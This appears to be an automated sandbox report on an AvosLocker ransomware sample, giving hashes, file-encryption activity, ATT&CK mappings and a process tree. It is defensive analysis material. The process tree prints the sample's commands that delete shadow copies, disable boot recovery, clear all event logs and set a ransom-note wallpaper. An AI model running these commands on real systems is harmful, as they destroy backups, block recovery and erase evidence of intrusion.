Analysis
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max time kernel
60s -
max time network
62s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
25-12-2024 14:37
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
testing.exe
Resource
win7-20240903-en
windows7-x64
19 signatures
300 seconds
Behavioral task
behavioral2
Sample
testing.exe
Resource
win10v2004-20241007-en
windows10-2004-x64
19 signatures
300 seconds
General
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Target
testing.exe
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Size
1.1MB
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MD5
9bab6ed20e3975cec860894d96f1de7c
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SHA1
b4647855c5f313fadc03347ea10272fda260dd22
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SHA256
368041501211167866ce2f39dfd64e596707763d2c9e448565e28d92c649aa71
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SHA512
14c5d8c19429aebfc5ed678d56de3b3d53e2272eda11567d85723933bbca600e00eeb52e5562278c67b08ac87b6c1bc45b6dc8b653a8d545d1edd8c8aa78432a
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SSDEEP
24576:tImw98okVgela0as5CqLVO7XJCjkD3N0HRA:DL5ljasaU
Malware Config
Signatures
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Avoslocker Ransomware
Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.
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Avoslocker family
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Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1000 bcdedit.exe 764 bcdedit.exe -
Renames multiple (8494) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation testing.exe -
Executes dropped EXE 1 IoCs
pid Process 4472 P1kAlMiG2Kb7.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI P1kAlMiG2Kb7.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: P1kAlMiG2Kb7.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\198212233.png" reg.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\WindowsPowerShell\Modules\Pester\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\LinkedInboxWideTile.scale-150.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\en-US\about_should.help.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files-select\js\plugin.js P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-ae\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStdR_Retail-ppd.xrm-ms P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Trust Protection Lists\Sigma\Cryptomining.DATA P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailMediumTile.scale-125.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL090.XML P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sv-se\ui-strings.js P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\sendforcomments.svg P1kAlMiG2Kb7.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN075.XML P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\OneNote\SendToOneNote-PipelineConfig.xml P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Mozilla Maintenance Service\logs\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\es-es\ui-strings.js P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\css\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\close_x.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-20_altform-lightunplated.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Advanced-Light.scale-200.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarAppList.targetsize-40.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Windows Media Player\Media Renderer\DMR_48.jpg P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\el_get.svg P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\x_2x.png P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\de-de\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EVRGREEN\EVRGREEN.INF P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\US_export_policy.jar P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files-select\css\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\VBA\VBA7.1\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Outlook2019R_Trial-ppd.xrm-ms P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdO365R_SubTrial-pl.xrm-ms P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\es-es\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\fi-fi\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\access\libbluray-awt-j2se-1.3.2.jar P1kAlMiG2Kb7.exe File created C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\Interceptor.tlb P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Trust Protection Lists\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\uk-ua\ui-strings.js P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_duplicate_18.svg P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\de-DE\MSFT_PackageManagement.strings.psd1 P1kAlMiG2Kb7.exe File created C:\Program Files\VideoLAN\VLC\plugins\spu\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File created C:\Program Files\VideoLAN\VLC\plugins\meta_engine\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PersonalR_Retail-ppd.xrm-ms P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\identity_proxy\identity_helper.Sparse.Dev.msix.DATA P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Common Files\System\msadc\de-DE\msadcor.dll.mui P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\nb-no\ui-strings.js P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Integration\C2RManifest.wordmui.msi.16.en-us.xml P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Trust Protection Lists\Mu\Entities.DATA P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarAppList.targetsize-30.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\rhp_world_icon.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\cpdf\selector.js P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\vscroll-thumb.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\CardUIBkg.scale-125.HCWhite.png P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\vreg\osmuxmui.msi.16.en-us.vreg.dat P1kAlMiG2Kb7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files-select\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\tr-tr\ui-strings.js P1kAlMiG2Kb7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\css\main.css P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\ClientLangPack_eula.txt P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019VL_KMS_Client_AE-ul.xrm-ms P1kAlMiG2Kb7.exe File opened for modification C:\Program Files\Common Files\System\it-IT\wab32res.dll.mui P1kAlMiG2Kb7.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Cartridges\GET_YOUR_FILES_BACK.txt P1kAlMiG2Kb7.exe -
pid Process 3576 powershell.exe 21496 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language P1kAlMiG2Kb7.exe -
Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1624 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4472 P1kAlMiG2Kb7.exe 4472 P1kAlMiG2Kb7.exe 3576 powershell.exe 3576 powershell.exe 3576 powershell.exe 21496 powershell.exe 21496 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 4472 P1kAlMiG2Kb7.exe Token: SeIncreaseQuotaPrivilege 4244 WMIC.exe Token: SeSecurityPrivilege 4244 WMIC.exe Token: SeTakeOwnershipPrivilege 4244 WMIC.exe Token: SeLoadDriverPrivilege 4244 WMIC.exe Token: SeSystemProfilePrivilege 4244 WMIC.exe Token: SeSystemtimePrivilege 4244 WMIC.exe Token: SeProfSingleProcessPrivilege 4244 WMIC.exe Token: SeIncBasePriorityPrivilege 4244 WMIC.exe Token: SeCreatePagefilePrivilege 4244 WMIC.exe Token: SeBackupPrivilege 4244 WMIC.exe Token: SeRestorePrivilege 4244 WMIC.exe Token: SeShutdownPrivilege 4244 WMIC.exe Token: SeDebugPrivilege 4244 WMIC.exe Token: SeSystemEnvironmentPrivilege 4244 WMIC.exe Token: SeRemoteShutdownPrivilege 4244 WMIC.exe Token: SeUndockPrivilege 4244 WMIC.exe Token: SeManageVolumePrivilege 4244 WMIC.exe Token: 33 4244 WMIC.exe Token: 34 4244 WMIC.exe Token: 35 4244 WMIC.exe Token: 36 4244 WMIC.exe Token: SeBackupPrivilege 7848 vssvc.exe Token: SeRestorePrivilege 7848 vssvc.exe Token: SeAuditPrivilege 7848 vssvc.exe Token: SeIncreaseQuotaPrivilege 4244 WMIC.exe Token: SeSecurityPrivilege 4244 WMIC.exe Token: SeTakeOwnershipPrivilege 4244 WMIC.exe Token: SeLoadDriverPrivilege 4244 WMIC.exe Token: SeSystemProfilePrivilege 4244 WMIC.exe Token: SeSystemtimePrivilege 4244 WMIC.exe Token: SeProfSingleProcessPrivilege 4244 WMIC.exe Token: SeIncBasePriorityPrivilege 4244 WMIC.exe Token: SeCreatePagefilePrivilege 4244 WMIC.exe Token: SeBackupPrivilege 4244 WMIC.exe Token: SeRestorePrivilege 4244 WMIC.exe Token: SeShutdownPrivilege 4244 WMIC.exe Token: SeDebugPrivilege 4244 WMIC.exe Token: SeSystemEnvironmentPrivilege 4244 WMIC.exe Token: SeRemoteShutdownPrivilege 4244 WMIC.exe Token: SeUndockPrivilege 4244 WMIC.exe Token: SeManageVolumePrivilege 4244 WMIC.exe Token: 33 4244 WMIC.exe Token: 34 4244 WMIC.exe Token: 35 4244 WMIC.exe Token: 36 4244 WMIC.exe Token: SeDebugPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeSecurityPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeDebugPrivilege 21496 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeSecurityPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeBackupPrivilege 3576 powershell.exe Token: SeSecurityPrivilege 3576 powershell.exe -
Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 3420 wrote to memory of 4472 3420 testing.exe 84 PID 3420 wrote to memory of 4472 3420 testing.exe 84 PID 3420 wrote to memory of 4472 3420 testing.exe 84 PID 4472 wrote to memory of 2976 4472 P1kAlMiG2Kb7.exe 86 PID 4472 wrote to memory of 2976 4472 P1kAlMiG2Kb7.exe 86 PID 4472 wrote to memory of 3868 4472 P1kAlMiG2Kb7.exe 87 PID 4472 wrote to memory of 3868 4472 P1kAlMiG2Kb7.exe 87 PID 4472 wrote to memory of 3460 4472 P1kAlMiG2Kb7.exe 88 PID 4472 wrote to memory of 3460 4472 P1kAlMiG2Kb7.exe 88 PID 4472 wrote to memory of 1960 4472 P1kAlMiG2Kb7.exe 89 PID 4472 wrote to memory of 1960 4472 P1kAlMiG2Kb7.exe 89 PID 4472 wrote to memory of 3940 4472 P1kAlMiG2Kb7.exe 90 PID 4472 wrote to memory of 3940 4472 P1kAlMiG2Kb7.exe 90 PID 2976 wrote to memory of 4244 2976 cmd.exe 91 PID 2976 wrote to memory of 4244 2976 cmd.exe 91 PID 3868 wrote to memory of 1624 3868 cmd.exe 92 PID 3868 wrote to memory of 1624 3868 cmd.exe 92 PID 3940 wrote to memory of 3576 3940 cmd.exe 94 PID 3940 wrote to memory of 3576 3940 cmd.exe 94 PID 1960 wrote to memory of 1000 1960 cmd.exe 95 PID 1960 wrote to memory of 1000 1960 cmd.exe 95 PID 3460 wrote to memory of 764 3460 cmd.exe 93 PID 3460 wrote to memory of 764 3460 cmd.exe 93 PID 4472 wrote to memory of 21496 4472 P1kAlMiG2Kb7.exe 100 PID 4472 wrote to memory of 21496 4472 P1kAlMiG2Kb7.exe 100 PID 21496 wrote to memory of 21892 21496 powershell.exe 101 PID 21496 wrote to memory of 21892 21496 powershell.exe 101 PID 21496 wrote to memory of 21988 21496 powershell.exe 102 PID 21496 wrote to memory of 21988 21496 powershell.exe 102 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\testing.exe"C:\Users\Admin\AppData\Local\Temp\testing.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3420 -
C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe"C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe"2⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4472 -
C:\Windows\SYSTEM32\cmd.execmd /c wmic shadowcopy delete /nointeractive3⤵
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete /nointeractive4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4244
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C:\Windows\SYSTEM32\cmd.execmd /c vssadmin.exe Delete Shadows /All /Quiet3⤵
- Suspicious use of WriteProcessMemory
PID:3868 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet4⤵
- Interacts with shadow copies
PID:1624
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C:\Windows\SYSTEM32\cmd.execmd /c bcdedit /set {default} recoveryenabled No3⤵
- Suspicious use of WriteProcessMemory
PID:3460 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No4⤵
- Modifies boot configuration data using bcdedit
PID:764
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C:\Windows\SYSTEM32\cmd.execmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
PID:1000
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C:\Windows\SYSTEM32\cmd.execmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"3⤵
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3576
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:21496 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\198212233.png /f4⤵
- Sets desktop wallpaper using registry
PID:21892
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False4⤵PID:21988
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:7848
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Windows Management Instrumentation
1Defense Evasion
Direct Volume Access
1Indicator Removal
2File Deletion
2Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1011B
MD5c92c2b70fb37f84aab38412ad9226aa8
SHA114f2e9a83285612d0a7b2c83b8f89bccfde6c154
SHA256d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f
SHA51204f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848
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Filesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
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Filesize
1KB
MD5c8861299853606fac3016094fcb76d2e
SHA18969dfdc86ceceb91bec0956f6a672a8606bc841
SHA25607b966f55b6c7b2f633c7a4ace5c3cc0fc6f6dcbea8ff0da2210ed4a34c2cdf0
SHA512841ca021eb2e9cb9831c2637f97739b0f2b35919b4e7eea3e39af808564f06b1d2175d618912603d1f61b364882c626799f68e069b13224d5db920ac7a267ef3
-
Filesize
807KB
MD5e27b5291c8fb2dfdeb7f16bb6851df5e
SHA140207f83b601cd60905c1f807ac0889c80dfe33f
SHA256ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
SHA5122ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82